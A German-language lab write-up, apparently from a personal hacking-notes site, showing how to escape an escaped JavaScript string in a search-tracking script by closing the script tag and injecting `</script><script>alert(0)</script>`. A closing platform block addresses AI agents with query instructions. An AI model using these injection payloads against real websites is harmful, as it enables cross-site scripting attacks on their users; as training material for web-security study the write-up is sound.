> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/xss/xss-in-a-javascript-string-with-apostrophe-and-backslash-escaped.md).

# XSS in einem JavaScript-String mit maskiertem Apostroph und Backslash

### Reflektiertes XSS in einen JavaScript-String mit in einfache Anführungszeichen und Backslash maskiert

Reflektiertes XSS in der Tracking-Funktion für Suchbegriffe. Der reflektierte Wert wird in einen JavaScript-String eingefügt; einfache Apostrophe und Backslashes sind maskiert, was ein Escapen erschwert.

Ziel

* Aus dem maskierten JavaScript-String ausbrechen und aufrufen `alert()`.

<figure><img src="/files/7e47701def093832615b3ffcd04f33aa87b162fe" alt=""><figcaption></figcaption></figure>

Aktuelle Beobachtungen

* Wenn `Testen` wird gesendet, der Wert wird im `searchTerm` der Variablen des Skripts gespeichert.
* Versuch, eine neue Variable einzuführen:/ `testing'; var=test='thisIsATest`/ → Es wird beobachtet, dass Anführungszeichen und Backslashes () eingeschleust/vorhanden sind und eine direkte Injektion verhindern.

```bash
testing'; var=test='thisIsATest
```

* Durch einfaches Einfügen des schließenden Script-Tags kann der Skript-Kontext geschlossen werden: `</script>`

```javascript
</script>
```

<figure><img src="/files/8cf8e0d2cb89bfdec557349570091d2120b56fe7" alt=""><figcaption></figcaption></figure>

* Nach dem Schließen kann einfacher HTML-Text gerendert werden: `</script><h1>HACK</h1>`

```javascript
</script><h1>HACK</h1>
```

<figure><img src="/files/51efe2acde2441e046afe815fc7c580c46246c58" alt=""><figcaption></figcaption></figure>

* Und schließlich ist es möglich, eine `alert` auszuführen, indem ein neues `<script>` nach dem Schließen hinzugefügt wird: `</script><script>alert(0)</script>`

```javascript
</script><script>alert(0)</script>
```

<figure><img src="/files/e1316915722c151c88ce96ddf6112a4f4c12eb68" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/xss/xss-in-a-javascript-string-with-apostrophe-and-backslash-escaped.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
